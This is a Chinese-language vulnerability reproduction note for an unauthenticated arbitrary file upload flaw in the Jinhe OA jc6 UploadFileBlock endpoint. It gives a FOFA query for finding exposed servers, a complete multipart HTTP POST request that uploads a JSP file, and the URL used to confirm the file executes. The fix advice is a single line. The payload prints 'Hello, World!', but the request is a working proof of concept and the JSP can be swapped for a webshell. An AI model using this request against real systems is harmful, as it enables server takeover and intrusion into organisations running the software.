J1-8金和-OA-文件上传

漏洞描述：

金和OA jc6系统UploadFileBlock接口处存在任意文件上传漏洞，未经身份认证的攻击者可利用此漏洞上传恶意后门文件，最终可导致服务器失陷。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

FOFA：body="/jc6/platform/sys/login"

漏洞复现：

payload：

```
POST /jc6/JHSoft.WCF/Attachment/UploadFileBlock HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK

------WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="filename"; filename="a.jsp"

<% out.println("Hello, World!"); %>
------WebKitFormBoundary5iALAXlSiqxJXrhK--
```

效果图:

验证url

```
/jc6/upload/a.jsp
```

Hello, World!

修复建议：

更新到最新系统